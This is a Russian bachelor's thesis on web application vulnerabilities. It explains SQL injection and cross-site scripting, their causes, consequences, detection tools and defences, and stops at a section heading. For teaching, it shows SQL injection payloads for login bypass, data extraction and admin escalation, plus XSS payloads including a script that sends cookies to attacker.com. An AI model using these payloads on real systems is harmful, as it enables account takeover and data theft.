

МИНОБРНАУКИ РОССИИ
Федеральное государственное бюджетное образовательное
учреждение высшего образования
«Ярославский государственный университет имени П. Г. Демидова»
Кафедра компьютерной безопасности и математических методов обработки
информации

Сдано на кафедру

«_____» _____ 2024 г.

Заведующий кафедрой,
к. ф.-м. н., доцент

_____ Мурин Д.М.

Выпускная квалификационная работа

**Анализ уязвимостей
веб-приложений**

по направлению
10.03.01 Информационная безопасность

Научный руководитель
к. ф.-м. н., доцент

_____ Власова О. В.

«_____» _____ 2024 г.

Студент группы ИБ-41БО

_____ С. И. Штанько

«_____» _____ 2024 г.

Ярославль, 2024

1. Реферат

Объем 28 с., 3 гл., 0 рис., 0 табл., 6 источников, 0 прил.

Ключевые слова: **Уязвимости веб-приложений, анализ безопасности сайтов**

Содержание

1. Реферат	2
Введение	5
2. Инъекции SQL	7
2.1. Определение и примеры инъекций SQL	7
2.1.1. Сущность инъекции SQL	7
2.1.2. Механизм атаки	7
2.1.3. Классификация инъекций SQL	7
2.1.4. Примеры инъекций SQL	8
2.2. Причины возникновения инъекций SQL	9
2.2.1. Недостаточная валидация и фильтрация пользовательского ввода	10
2.2.2. Использование динамических SQL-запросов	10
2.2.3. Неправильная конфигурация базы данных	10
2.2.4. Использование устаревшего программного обеспечения . .	11
2.2.5. Недостаточное обучение и осведомленность разработчиков .	11
2.2.6. Использование небезопасных функций	11
2.2.7. Человеческий фактор	11
2.3. Возможные последствия и угрозы для приложений и баз данных . .	12
2.3.1. Нарушение конфиденциальности данных	12
2.3.2. Нарушение целостности данных	12
2.3.3. Нарушение доступности данных	13
2.3.4. Финансовые потери	13
2.3.5. Репутационные потери	13
2.3.6. Примеры реальных инцидентов	14
2.4. Методы обнаружения и предотвращения инъекций SQL	14
2.4.1. Методы обнаружения уязвимостей	14
2.4.2. Методы предотвращения атак	15
2.4.3. Минимизация последствий	15
2.5. Инструменты и техники для защиты от инъекций SQL	16
2.5.1. Инструменты статического анализа кода	16
2.5.2. Инструменты динамического анализа приложений	16
2.5.3. Фаззеры	17
2.5.4. Техники безопасного программирования	17

3. Межсайтовый скриптинг (XSS)	19
3.1. Понятие межсайтового скриптинга и его воздействие на пользователей	19
3.1.1. Сущность XSS	19
3.1.2. Воздействие на пользователей	19
3.1.3. Типичные сценарии XSS-атак	20
3.2. Различные типы XSS-атак и их примеры	20
3.2.1. Классификация по способу внедрения	20
3.2.2. Классификация по контексту выполнения	21
3.3. Риски и угрозы, связанные с XSS для веб-приложений	22
3.3.1. Кража конфиденциальной информации	22
3.3.2. Дефейс веб-сайта	22
3.3.3. Распространение вредоносного ПО	23
3.3.4. Фишинг	23
3.3.5. DDoS-атаки	23
3.3.6. Потеря доверия пользователей	23
3.4. Методы обнаружения и предотвращения межсайтового скриптинга	23
3.4.1. Обнаружение XSS-уязвимостей	24
3.4.2. Предотвращение XSS-атак	24
3.4.3. Дополнительные меры безопасности	25
3.5. Практические примеры и инструменты для защиты от XSS-атак	25
3.5.1. Примеры кодирования выходных данных	25
3.5.2. Использование библиотек и фреймворков с защитой от XSS	26
3.5.3. Инструменты для тестирования на уязвимости XSS	26
3.5.4. Content Security Policy (CSP)	26
3.5.5. Входная фильтрация и валидация данных	27
3.5.6. Выходная фильтрация и кодирование данных	27
3.5.7. Использование фреймворков с защитой от XSS	27
Список литературы	28

Введение

Современный мир характеризуется стремительным развитием информационных технологий, все большей интеграцией цифровых решений в различные сферы жизни и деятельности. Веб-приложения стали неотъемлемой частью повседневности, обеспечивая доступ к услугам, информации и коммуникации. С ростом их популярности и сложности возрастает и актуальность обеспечения их безопасности. Уязвимости веб-приложений представляют собой лазейки, которые могут быть использованы злоумышленниками для нанесения ущерба пользователям, организациям и системам.

Актуальность темы дипломной работы обусловлена возрастающей угрозой кибербезопасности, связанной с уязвимостями веб-приложений. Кибератаки становятся всё более изощрёнными и масштабными, а их последствия могут быть катастрофическими, приводя к утечке конфиденциальной информации, финансовым потерям и репутационному ущербу.

Цель дипломной работы – комплексное изучение и анализ наиболее распространенных уязвимостей веб-приложений, а также методов их обнаружения, предотвращения и устранения.

Задачи дипломной работы:

- Рассмотреть основные виды уязвимостей веб-приложений, такие как инъекции SQL, межсайтовый скриптинг (XSS), подделка межсайтовых запросов (CSRF) и другие.
- Изучить причины возникновения уязвимостей, их потенциальные последствия и угрозы для безопасности веб-приложений.
- Проанализировать методы и инструменты для обнаружения и предотвращения уязвимостей веб-приложений.
- Изучить практические примеры и рекомендации по обеспечению безопасности веб-приложений.
- Провести анализ конкретных случаев уязвимостей и рассмотреть методы их устранения.

Объектом исследования дипломной работы являются веб-приложения, а предметом исследования – уязвимости веб-приложений и методы обеспечения их безопасности.

Методологической основой дипломной работы служат методы анализа, синтеза, сравнения и обобщения информации из различных источников, включая научные статьи, техническую документацию, отчеты по безопасности и практические руководства.

Практическая значимость дипломной работы заключается в возможности использования полученных знаний и рекомендаций для повышения безопасности веб-приложений, разработки защищенных программных продуктов и снижения рисков кибератак.

Результаты данной работы могут быть полезны разработчикам веб-приложений, специалистам по информационной безопасности, студентам и всем, кто интересуется вопросами кибербезопасности.

2. Инъекции SQL

2.1. Определение и примеры инъекций SQL.

2.1.1. Сущность инъекции SQL

Инъекция SQL (SQL Injection) – это тип атаки, направленной на веб-приложения, использующие базы данных. Принцип ее действия заключается во внедрении вредоносного SQL-кода в поля ввода данных приложения. Цель такой атаки – исказить логику выполнения SQL-запросов, отправляемых к базе данных. В результате злоумышленник может получить несанкционированный доступ к чувствительным данным, манипулировать ими, нарушать работу приложения и даже получить полный контроль над сервером базы данных.

2.1.2. Механизм атаки

Для успешной реализации инъекции SQL злоумышленник должен воспользоваться уязвимостью в коде приложения, которая возникает при недостаточной проверке и обработке пользовательского ввода.

Этапы атаки:

- 1) **Идентификация уязвимости:** Злоумышленник анализирует приложение, чтобы найти поля ввода, которые не проходят должную валидацию и фильтрацию данных. Это могут быть формы авторизации, поиска, регистрации, комментарии и другие элементы взаимодействия с пользователем.
- 2) **Внедрение вредоносного кода:** Злоумышленник вводит в уязвимое поле специальным образом сформированный SQL-код. Этот код может быть предназначен для обхода аутентификации, извлечения данных, модификации записей или выполнения других вредоносных действий.
- 3) **Исполнение измененного запроса:** Приложение, не распознавая вредоносный код, формирует SQL-запрос с учетом пользовательского ввода и отправляет его к базе данных.
- 4) **Получение доступа к данным или выполнение несанкционированных действий:** База данных выполняет измененный запрос, предоставляя злоумышленнику несанкционированный доступ к данным, возможность их модификации или выполнения других команд.

2.1.3. Классификация инъекций SQL

По методу получения данных:

- 1) **Внеполосные (Out-of-band):** Злоумышленник получает данные через внешний канал, отличный от используемого приложением. Например, он может использовать функции базы данных для отправки данных на свой сервер или выполнения запросов к внешним ресурсам.
- 2) **Инференциальные (Inferential):** Злоумышленник анализирует ответы приложения на специально сформированные запросы, чтобы получить информацию о структуре базы данных, наличии определенных записей или содержанием данных.
- 3) **Внедрение кода (Code Injection):** Злоумышленник вводит код, который будет выполнен на сервере приложения. Это может быть, например, код на языке базы данных (PL/SQL) или на языке программирования, используемом на сервере.

По влиянию на приложение:

- 1) **Логические:** Злоумышленник изменяет логику работы приложения, например, обходит аутентификацию, получает доступ к чужим данным или изменяет права доступа.
- 2) **Извлечение данных:** Злоумышленник получает доступ к конфиденциальным данным, которые не должны быть ему доступны.
- 3) **Модификация данных:** Злоумышленник изменяет или удаляет данные в базе данных.

По способу внедрения вредоносного кода:

- 1) **Ошибка синтаксиса:** Злоумышленник вводит символы, которые нарушают синтаксис SQL-запроса, что позволяет ему изменить логику его выполнения.
- 2) **Объединение запросов (Union-based):** Злоумышленник добавляет к исходному запросу еще один запрос, используя оператор UNION, чтобы получить доступ к данным из другой таблицы.
- 3) **Внедрение подзапросов:** Злоумышленник внедряет подзапрос, который изменяет логику работы исходного запроса.

2.1.4. Примеры инъекций SQL

Пример 1 (Обход аутентификации):

Предположим, приложение использует следующий запрос для аутентификации пользователя:

```
1 SELECT * FROM users
2 WHERE username = '$username' AND password = '$password';
```

Злоумышленник может ввести в поле "username" значение ' OR '1'='1' –'. В результате получится следующий запрос:


```
1 SELECT * FROM users
2 WHERE username = '' OR '1'='1' --' AND password = '$password';
```

Поскольку условие '1'='1' всегда истинно, запрос вернет первую запись из таблицы 'users', предоставляя злоумышленнику доступ к системе.

Пример 2 (Извлечение данных):

Предположим, приложение использует следующий запрос для поиска товара по его названию:

```
1 SELECT * FROM products
2 WHERE name LIKE '%$search_term%';
```

Злоумышленник может ввести в поле поиска значение "; SELECT * FROM users; –". В результате получится следующий запрос:

```
1 SELECT * FROM products
2 WHERE name LIKE '%;_SELECT_*_FROM_users;_--%';
```

Этот запрос сначала выполнит поиск по таблице 'products', а затем извлечет все записи из таблицы 'users', предоставив злоумышленнику доступ к информации о пользователях.

Пример 3 (Модификация данных):

Предположим, приложение использует следующий запрос для обновления профиля пользователя:

```
1 UPDATE users SET email = '$email'
2 WHERE username = '$username';
```

Злоумышленник может ввести в поле "email" значение 'new-email'; UPDATE users SET isAdmin = 1 WHERE username = 'attacker'; –. В результате получится следующий запрос:

```
1 UPDATE users SET email = 'new-email';
2 UPDATE users SET isAdmin = 1
3 WHERE username = 'attacker'; --' WHERE username = '$username';
```

Этот запрос сначала обновит email пользователя, а затем установит флаг 'isAdmin' для пользователя 'attacker', предоставив ему права администратора. Примеры инъекций SQL наглядно демонстрируют опасность данного типа атак и необходимость принятия мер для их предотвращения.

2.2. Причины возникновения инъекций SQL

Инъекции SQL остаются одной из наиболее распространенных и опасных уязвимостей веб-приложений. Их возникновение обусловлено рядом факторов,

связанных с ошибками проектирования, разработки и эксплуатации приложений.

2.2.1. Недостаточная валидация и фильтрация пользовательского ввода

Основная причина уязвимости к инъекциям SQL - недостаточная проверка и фильтрация данных, вводимых пользователем. Приложения часто предполагают, что пользователи будут вводить только корректные и ожидаемые данные, но злоумышленники могут использовать специальные символы и конструкции SQL-языка, чтобы изменить логику запросов к базе данных.

Примеры недостаточной валидации:

- 1) Приложение не проверяет тип данных, например, ожидает число, но принимает строку, содержащую SQL-код.
- 2) Приложение не ограничивает длину вводимых данных, что позволяет злоумышленнику ввести длинную строку с вредоносным кодом.
- 3) Приложение не экранирует специальные символы, такие как кавычки, точки с запятой и другие, которые могут быть использованы для внедрения SQL-кода.

2.2.2. Использование динамических SQL-запросов

Динамические SQL-запросы формируются на основе пользовательского ввода, что делает их уязвимыми к инъекциям. Если данные не проходят должную обработку перед включением в запрос, злоумышленник может внедрить свой код и изменить логику его выполнения.

Пример динамического SQL-запроса:

```
1 String query = "SELECT_*_FROM_users
2 WHERE_username_=_" +
3 username +
4 "'_AND_password_=_" + password + "'";
```

В этом примере, если пользователь введет в поле 'username' значение ' OR '1'='1' -', то получится следующий запрос:

```
1 SELECT * FROM users
2 WHERE username = '' OR '1'='1' --' AND password = '$password';
```

Этот запрос вернет все записи из таблицы 'users', поскольку условие '1'='1' всегда истинно.

2.2.3. Неправильная конфигурация базы данных

Некорректные настройки базы данных также могут способствовать возникновению уязвимостей. Например, если учетная запись базы данных, используемая

приложением, имеет избыточные привилегии, то злоумышленник, получив доступ к ней, сможет выполнить больше вредоносных действий.

Примеры неправильной конфигурации:

- 1) Учетная запись базы данных имеет права на выполнение команд, которые не требуются для работы приложения, например, на удаление таблиц.
- 2) База данных разрешает выполнение пакетных запросов (batch queries), что позволяет злоумышленнику выполнить несколько SQL-запросов в одном вызове.
- 3) База данных использует слабые пароли или хранит их в незашифрованном виде.

2.2.4. Использование устаревшего программного обеспечения

Устаревшее программное обеспечение, включая базы данных и библиотеки для работы с ними, может содержать известные уязвимости, которые могут быть использованы для инъекций SQL. Важно регулярно обновлять ПО, чтобы устранять уязвимости и минимизировать риски.

2.2.5. Недостаточное обучение и осведомленность разработчиков

Разработчики веб-приложений должны быть осведомлены о проблеме инъекций SQL и методах их предотвращения. Недостаточное обучение и понимание рисков могут привести к ошибкам в коде, которые сделают приложение уязвимым.

2.2.6. Использование небезопасных функций

Некоторые функции, предоставляемые базами данных и библиотеками, могут быть небезопасными, если их использовать неправильно. Например, функции для конкатенации строк могут быть использованы для внедрения SQL-кода, если пользовательский ввод не проходит предварительную обработку.

Пример небезопасной функции:

```
1 String query = "SELECT_*_FROM_users  
2 WHERE_username_=' " + escape(username) + "'";
```

В этом примере функция 'escape()' может быть небезопасной, если она не экранирует все специальные символы.

2.2.7. Человеческий фактор

Ошибки разработчиков, небрежность при настройке сервера базы данных или недостаточная осведомленность пользователей о рисках могут привести к уязвимостям и успешным атакам.

Примеры человеческого фактора:

- 1) Разработчик забыл проверить пользовательский ввод перед использованием его в SQL-запросе.
- 2) Администратор базы данных установил слабый пароль для учетной записи приложения.
- 3) Пользователь открыл фишинговое письмо и ввел свои учетные данные на поддельном сайте.

Учитывая многообразие причин возникновения инъекций SQL, важно применять комплексный подход к обеспечению безопасности веб-приложений, который включает в себя меры по предотвращению, обнаружению и устранению уязвимостей.

2.3. Возможные последствия и угрозы для приложений и баз данных

Успешная инъекция SQL может иметь серьезные последствия для веб-приложений и баз данных, приводя к нарушению конфиденциальности, целостности и доступности данных, а также к финансовым и репутационным потерям.

2.3.1. Нарушение конфиденциальности данных

Злоумышленники могут использовать инъекции SQL для получения несанкционированного доступа к конфиденциальным данным, таким как:

- **Персональные данные пользователей:** имена, адреса, номера телефонов, паспорта, данные кредитных карт и другая чувствительная информация.
- **Финансовая информация:** данные о банковских счетах, транзакциях, платежах и другие финансовые сведения.
- **Коммерческая тайна:** информация о продуктах, услугах, партнерах, клиентах и другие конфиденциальные данные компании.

Утечка таких данных может привести к мошенничеству, шантажу, краже личных данных и другим серьезным последствиям.

2.3.2. Нарушение целостности данных

Инъекции SQL могут быть использованы для модификации или удаления данных в базе данных, что может привести к:

- **Искажению информации:** злоумышленник может изменить данные о пользователях, продуктах, заказах и т. д., что приведет к ошибкам в работе приложения и принятию неверных решений.
- **Потере данных:** злоумышленник может удалить важные данные, что приведет к нарушению работы приложения и финансовым потерям.

- **Внедрению ложной информации:** злоумышленник может добавить в базу данных ложные записи, что может быть использовано для мошенничества или дезинформации.

2.3.3. Нарушение доступности данных

Инъекции SQL могут быть использованы для нарушения работы приложения и базы данных, что приведет к:

- **Отказу в обслуживании (DoS):** злоумышленник может отправить запрос, который приведет к высокой нагрузке на сервер базы данных, что сделает приложение недоступным для пользователей.
- **Повреждению базы данных:** злоумышленник может выполнить команды, которые приведут к повреждению структуры базы данных или ее файлов, что сделает данные недоступными.
- **Взлому сервера:** злоумышленник может использовать инъекцию SQL для получения доступа к серверу базы данных и дальнейшего его взлома.

2.3.4. Финансовые потери

Последствия инъекций SQL могут привести к значительным финансовым потерям для компании, включая:

- **Ущерб от мошенничества:** злоумышленники могут использовать украденные данные для совершения мошеннических операций, что приведет к финансовым потерям для компании и ее клиентов.
- **Штрафы за нарушение законодательства:** утечка персональных данных может привести к штрафам со стороны регулирующих органов.
- **Расходы на восстановление данных и системы:** восстановление базы данных и системы после атаки может потребовать значительных финансовых затрат.
- **Потеря доверия клиентов:** инциденты с безопасностью могут привести к потере доверия клиентов и снижению репутации компании.

2.3.5. Репутационные потери

Инциденты с безопасностью, связанные с инъекциями SQL, могут серьезно повредить репутации компании. Клиенты могут потерять доверие к компании, что приведет к снижению продаж и потере доли рынка. Кроме того, инциденты с безопасностью могут негативно повлиять на отношения с партнерами и инвесторами.

2.3.6. Примеры реальных инцидентов

- **Взлом компании TalkTalk (2015):** Хакеры использовали инъекцию SQL для получения доступа к данным 157 000 клиентов, включая имена, адреса, даты рождения, номера телефонов и данные банковских карт. Компания была оштрафована на £400 000 за нарушение законодательства о защите данных.
- **Взлом сайта Freerik (2020):** Хакеры использовали инъекцию SQL для получения доступа к внутреннему серверу базы данных с пользовательскими данными. Были похищены данные более 8 млн. пользователей. Сайт понес огромные финансовые и репутационные потери.

Примеры реальных инцидентов наглядно демонстрируют серьезность угрозы, которую представляют инъекции SQL. Поэтому важно применять эффективные меры для защиты веб-приложений и баз данных от данного типа атак.

2.4. Методы обнаружения и предотвращения инъекций SQL

Для обеспечения безопасности веб-приложений и защиты от инъекций SQL необходимо применять комплекс мер, включающий методы обнаружения уязвимостей, предотвращения атак и минимизации их последствий.

2.4.1. Методы обнаружения уязвимостей

Существует несколько методов обнаружения уязвимостей к инъекциям SQL:

- **Ручное тестирование:** опытные специалисты по безопасности могут вручную анализировать код приложения и проводить тесты на наличие уязвимостей. Этот метод требует высокой квалификации и может быть трудоемким.
- **Автоматизированное сканирование:** существуют специальные инструменты для автоматического сканирования веб-приложений на наличие уязвимостей, включая инъекции SQL. Эти инструменты могут быть полезны для быстрого выявления потенциальных проблем, но они не всегда могут обнаружить все уязвимости.
- **Анализ исходного кода:** анализ исходного кода приложения может помочь выявить участки кода, которые могут быть уязвимы к инъекциям SQL. Этот метод требует доступа к исходному коду и может быть сложным для больших приложений.
- **Фаззинг:** фаззинг - это метод тестирования, при котором приложению отправляются случайные или специально сформированные данные для выявления ошибок и уязвимостей. Фаззинг может быть эффективным методом обнаружения уязвимостей к инъекциям SQL.

2.4.2. Методы предотвращения атак

Существует несколько методов предотвращения атак с использованием инъекций SQL:

- **Валидация и фильтрация пользовательского ввода:** все данные, полученные от пользователя, должны быть проверены на соответствие ожидаемому типу, формату и длине. Специальные символы, которые могут быть использованы для внедрения SQL-кода, должны быть экранированы или удалены.
- **Использование параметризованных запросов:** параметризованные запросы - это способ создания SQL-запросов, при котором пользовательский ввод передается отдельно от самого запроса. Это позволяет избежать внедрения SQL-кода, так как база данных обрабатывает пользовательский ввод как данные, а не как часть запроса.
- **Использование хранимых процедур:** хранимые процедуры - это предварительно скомпилированные SQL-запросы, которые хранятся на сервере базы данных. Использование хранимых процедур может помочь предотвратить инъекции SQL, так как они ограничивают возможности злоумышленника по изменению логики запроса.
- **Принцип наименьших привилегий:** учетные записи базы данных, используемые приложением, должны иметь минимальные необходимые привилегии для выполнения своих функций. Это ограничивает возможности злоумышленника, если он получит доступ к учетной записи.
- **Регулярное обновление программного обеспечения:** устаревшее программное обеспечение может содержать известные уязвимости, которые могут быть использованы для инъекций SQL. Важно регулярно обновлять ПО, чтобы устранять уязвимости и минимизировать риски.

2.4.3. Минимизация последствий

Даже при применении мер по предотвращению атак, всегда есть вероятность, что злоумышленник сможет найти и использовать уязвимость. Поэтому важно принимать меры для минимизации последствий успешных атак:

- **Мониторинг и аудит:** регулярный мониторинг активности базы данных и аудит журналов событий может помочь выявить подозрительную активность и своевременно реагировать на атаки.
- **Резервное копирование данных:** регулярное резервное копирование данных позволяет восстановить информацию в случае ее потери или повреждения.

- **Планы реагирования на инциденты:** компания должна иметь план реагирования на инциденты безопасности, который определяет действия, которые необходимо предпринять в случае атаки.

Применение комплексного подхода к обнаружению, предотвращению и минимизации последствий инъекций SQL является ключевым фактором для обеспечения безопасности веб-приложений и баз данных.

2.5. Инструменты и техники для защиты от инъекций SQL

Существует множество инструментов и техник, которые помогают разработчикам и специалистам по безопасности защитить веб-приложения от инъекций SQL. Рассмотрим некоторые из наиболее распространенных и эффективных вариантов.

2.5.1. Инструменты статического анализа кода

Статический анализ кода - это процесс автоматического анализа исходного кода программы для выявления потенциальных ошибок и уязвимостей. Существуют инструменты статического анализа кода, специально предназначенные для обнаружения уязвимостей к инъекциям SQL:

- **FindBugs:** бесплатный инструмент с открытым исходным кодом, который анализирует Java-код и выявляет различные уязвимости, включая инъекции SQL.
- **Yasca:** еще один бесплатный инструмент с открытым исходным кодом, который поддерживает анализ кода на нескольких языках программирования, включая Java, Python и C++.
- **SonarQube:** платформа для статического анализа кода, которая предлагает широкий спектр функций, включая обнаружение инъекций SQL, анализ качества кода и управление техническим долгом.

2.5.2. Инструменты динамического анализа приложений

Динамический анализ приложений (DAST) - это процесс тестирования безопасности работающего приложения. DAST-инструменты могут автоматически отправлять запросы к приложению и анализировать ответы для выявления уязвимостей, включая инъекции SQL:

- **OWASP ZAP:** бесплатный инструмент с открытым исходным кодом, который предлагает широкий спектр функций для динамического анализа веб-приложений, включая сканирование на наличие инъекций SQL, межсайтовый скриптинг (XSS) и другие уязвимости.

- **Burp Suite:** коммерческий инструмент, который предлагает продвинутые функции для ручного и автоматизированного тестирования безопасности веб-приложений. Он включает в себя сканер уязвимостей, перехватчик запросов и другие инструменты, полезные для обнаружения и эксплуатации инъекций SQL.
- **Acunetix:** коммерческий сканер уязвимостей, который специализируется на автоматическом обнаружении широкого спектра уязвимостей веб-приложений, включая инъекции SQL, XSS и CSRF.

2.5.3. Фаззеры

Фаззеры - это инструменты, которые автоматически генерируют и отправляют некорректные или неожиданные данные в приложение для выявления ошибок и уязвимостей. Фаззеры могут быть эффективными для обнаружения уязвимостей к инъекциям SQL:

- **Sulley Fuzzing Framework:** бесплатный инструмент с открытым исходным кодом. Он был специально разработан для работы в течении нескольких дней и автоматизации процесса фаззинга.
- **wfuzz:** универсальный фаззер, который может быть использован для тестирования различных протоколов и приложений, включая веб-приложения. Он может быть настроен для обнаружения инъекций SQL путем отправки специально сформированных запросов.

2.5.4. Техники безопасного программирования

Помимо использования инструментов, разработчики должны применять техники безопасного программирования, чтобы предотвратить инъекции SQL:

- **Валидация и фильтрация пользовательского ввода:** всегда проверяйте данные, полученные от пользователя, на соответствие ожидаемому типу, формату и длине. Специальные символы должны быть экранированы или удалены.
- **Использование параметризованных запросов:** всегда используйте параметризованные запросы вместо конкатенации строк для создания SQL-запросов.
- **Использование хранимых процедур:** рассмотрите возможность использования хранимых процедур для выполнения типовых операций с базой данных.
- **Принцип наименьших привилегий:** предоставляйте учетным записям базы данных минимальные необходимые привилегии.

- **Регулярное обновление ПО:** обновляйте программное обеспечение, используемое в приложении, включая библиотеки и фреймворки, до последних версий, чтобы устранять известные уязвимости.

Применение этих инструментов и техник поможет разработчикам создавать более безопасные веб-приложения и защитить их от инъекций SQL.

3. Межсайтовый скриптинг (XSS)

3.1. Понятие межсайтового скриптинга и его воздействие на пользователей

Межсайтовый скриптинг (XSS, Cross-Site Scripting) – это тип атаки, направленной на внедрение вредоносного кода (обычно JavaScript) в веб-страницы, которые затем отображаются уязвимым пользователям.

3.1.1. Сущность XSS

XSS-атаки эксплуатируют доверие пользователя к веб-сайту. Злоумышленник внедряет вредоносный код в веб-страницу, и когда пользователь посещает эту страницу, код выполняется в его браузере. Этот код может быть использован для:

- **Кражи данных пользователя:** злоумышленник может украсть файлы cookie, токены сессии, пароли и другую конфиденциальную информацию.
- **Выполнения действий от имени пользователя:** злоумышленник может использовать код для выполнения действий на сайте от имени пользователя, например, отправки сообщений, изменения настроек или совершения покупок.
- **Перенаправления пользователя на вредоносные сайты:** злоумышленник может перенаправить пользователя на фишинговые сайты или сайты, содержащие вредоносное ПО.
- **Отображения ложной информации:** злоумышленник может использовать код для изменения контента страницы, например, отображения ложных сообщений или подмены информации.

3.1.2. Воздействие на пользователей

XSS-атаки могут иметь серьезные последствия для пользователей, включая:

- **Финансовые потери:** злоумышленник может украсть данные кредитной карты или банковского счета пользователя и использовать их для совершения мошеннических операций.
- **Кража личных данных:** злоумышленник может украсть личную информацию пользователя, такую как имя, адрес, номер телефона и т. д., и использовать ее для мошенничества, шантажа или других злонамеренных целей.

- **Ущерб репутации:** если пользователь стал жертвой XSS-атаки на сайте, который он считает надежным, это может подорвать его доверие к этому сайту и к Интернету в целом.
- **Потеря данных:** злоумышленник может использовать XSS-атаку для удаления или изменения данных пользователя, что может привести к потере важной информации.
- **Вредоносное ПО:** злоумышленник может использовать XSS-атаку для установки вредоносного ПО на компьютер пользователя, что может привести к дальнейшим проблемам с безопасностью и конфиденциальностью.

3.1.3. Типичные сценарии XSS-атак

XSS-атаки могут быть реализованы различными способами. Вот несколько типичных сценариев:

- **Внедрение кода в поля формы:** злоумышленник может ввести вредоносный код в поле формы, например, в поле комментария или поиска. Когда страница отображается, код выполняется в браузере пользователя.
- **Внедрение кода в URL:** злоумышленник может внедрить код в URL-адрес, который затем отправляется пользователю, например, через электронную почту или сообщение в чате. Когда пользователь переходит по ссылке, код выполняется в его браузере.
- **Внедрение кода в файлы cookie:** злоумышленник может внедрить код в файлы cookie, которые затем отправляются на сервер при каждом запросе пользователя. Если сервер не проверяет файлы cookie перед их использованием, код может быть выполнен в браузере пользователя.

Важно понимать, что XSS-атаки могут быть очень опасными и иметь серьезные последствия для пользователей. Поэтому разработчики веб-приложений должны принимать меры для защиты своих сайтов от этого типа атак.

3.2. Различные типы XSS-атак и их примеры

XSS-атаки могут быть классифицированы по нескольким критериям, включая способ внедрения кода, контекст выполнения кода и цель атаки.

3.2.1. Классификация по способу внедрения

Отраженные (Reflected) XSS: В этом типе атаки вредоносный код не сохраняется на сервере, а отражается от него в ответ на запрос пользователя, содержащий вредоносный скрипт. Например, злоумышленник может отправить жертве ссылку, которая содержит вредоносный скрипт в параметрах URL. Когда жертва переходит по ссылке, скрипт выполняется в ее браузере.

- **Пример:** Злоумышленник отправляет жертве ссылку вида:

`https://example.com/search?q=<script>alert('XSS!')</script>`.

Если сайт уязвим к отраженным XSS, то при переходе по ссылке жертва увидит всплывающее окно с сообщением "XSS!".

Хранимые (Stored) XSS: В этом типе атаки вредоносный код сохраняется на сервере, например, в базе данных или файловой системе. Код выполняется в браузере каждого пользователя, который посещает уязвимую страницу. Например, злоумышленник может оставить комментарий на форуме, который содержит вредоносный скрипт. Этот скрипт будет выполнен в браузере каждого пользователя, который просматривает комментарий.

- **Пример:** Злоумышленник оставляет комментарий на форуме с кодом:

`<script>new Image().src="http://attacker.com/?cookie="+document.cookie;</script>`.

Этот скрипт отправляет cookie пользователя на сервер злоумышленника.

DOM-based XSS: В этом типе атаки вредоносный код внедряется в Document Object Model (DOM) страницы на стороне клиента, без участия сервера. Это может произойти, например, при использовании JavaScript для динамического изменения содержимого страницы. Например, злоумышленник может внедрить код в URL-адрес, который затем используется для обновления содержимого страницы.

- **Пример:** Сайт использует JavaScript для отображения имени пользователя в приветствии, взятого из параметра URL:

`https://example.com/welcome?name=John`.

Злоумышленник может изменить URL на

`https://example.com/welcome?name=<script>alert('XSS!')</script>`

и при переходе по ссылке код выполнится в браузере жертвы.

3.2.2. Классификация по контексту выполнения

- **XSS в HTML-контексте:** Вредоносный код внедряется непосредственно в HTML-код страницы. Например, злоумышленник может внедрить тег `<script>` с вредоносным кодом.
- **XSS в JavaScript-контексте:** Вредоносный код внедряется в JavaScript-код страницы. Например, злоумышленник может внедрить код в значение переменной или функции.
- **XSS в атрибутах HTML-тегов:** Вредоносный код внедряется в значения атрибутов HTML-тегов. Например, злоумышленник может внедрить код в атрибут `"onclick"` тега `<a>`.

Каждый тип XSS-атаки имеет свои особенности и требует соответствующих мер защиты. Понимание различных типов XSS-атак и их примеров помогает разработчикам и специалистам по безопасности лучше защитить веб-приложения от этих угроз.

3.3. Риски и угрозы, связанные с XSS для веб-приложений

Межсайтовый скриптинг (XSS) представляет собой серьезную уязвимость, способную привести к многочисленным рискам и угрозам для веб-приложений и их пользователей. XSS-атаки эксплуатируют недостаточную фильтрацию входных данных, позволяя злоумышленникам внедрять вредоносный код на веб-страницы, который затем выполняется в браузерах пользователей.

3.3.1. Кража конфиденциальной информации

Одной из основных угроз, связанных с XSS, является кража конфиденциальной информации. Злоумышленники могут использовать вредоносный код для:

- **Кражи файлов cookie:** Файлы cookie часто содержат идентификаторы сессий и другие данные аутентификации. Злоумышленник, получив доступ к файлам cookie, может имитировать пользователя и получить несанкционированный доступ к его аккаунту, что может привести к краже личных данных, финансовой информации и других конфиденциальных сведений.
- **Кражи данных форм:** XSS-атаки позволяют злоумышленникам перехватывать данные, вводимые пользователем в формы, такие как логины, пароли, номера кредитных карт и т.д.
- **Keylogging:** Внедрение кейлоггера на веб-страницу позволяет злоумышленнику записывать все нажатия клавиш пользователя, включая пароли и другую конфиденциальную информацию.

3.3.2. Дефейс веб-сайта

XSS-атаки могут использоваться для изменения контента веб-страницы, что наносит ущерб репутации веб-сайта и подрывает доверие пользователей. Злоумышленники могут использовать XSS для:

- **Отображения ложных сообщений:** Внедрение кода, отображающего ложные сообщения, например, о взломе сайта или выигрыше приза, может привести к панике, недоверию и потере клиентов.
- **Подмены информации:** Изменение содержимого веб-страницы, например, подмена цен товаров, условий обслуживания или контактной информации, может привести к финансовым потерям, юридическим проблемам и ущербу репутации.
- **Внедрения рекламы или пропаганды:** XSS позволяет внедрять нежелательную рекламу или пропаганду на веб-страницу, что раздражает пользователей и наносит ущерб репутации сайта.

3.3.3. Распространение вредоносного ПО

XSS-атаки могут использоваться для распространения вредоносного ПО, такого как вирусы, трояны и черви. Злоумышленник может внедрить код, который:

- **Перенаправляет пользователя на вредоносный сайт:** Внедрение кода, перенаправляющего пользователя на вредоносный сайт, содержащий вредоносное ПО или фишинговые формы, может привести к заражению компьютера пользователя вредоносным ПО или краже его учетных данных.
- **Автоматически загружает вредоносное ПО:** Внедрение кода, автоматически загружающего вредоносное ПО на компьютер пользователя без его ведома или согласия, может привести к заражению компьютера пользователя вредоносным ПО, которое может украсть его данные, повредить его файлы или использовать его компьютер для атак на другие компьютеры.

3.3.4. Фишинг

XSS-уязвимости могут использоваться для создания фишинговых страниц, имитирующих внешний вид законных сайтов. Злоумышленник может использовать код для создания формы входа, которая отправляет данные пользователя на его сервер, а не на сервер законного сайта. Это позволяет злоумышленнику получить доступ к учетным данным пользователя, которые затем могут быть использованы для получения несанкционированного доступа к его учетной записи.

3.3.5. DDoS-атаки

XSS-атаки могут быть использованы для проведения DDoS-атак (Distributed Denial of Service) на веб-сервер. Злоумышленник может внедрить код, который заставляет браузеры пользователей отправлять большое количество запросов на сервер, что может привести к его перегрузке и отказу в обслуживании. Это может сделать веб-сайт недоступным для законных пользователей.

3.3.6. Потеря доверия пользователей

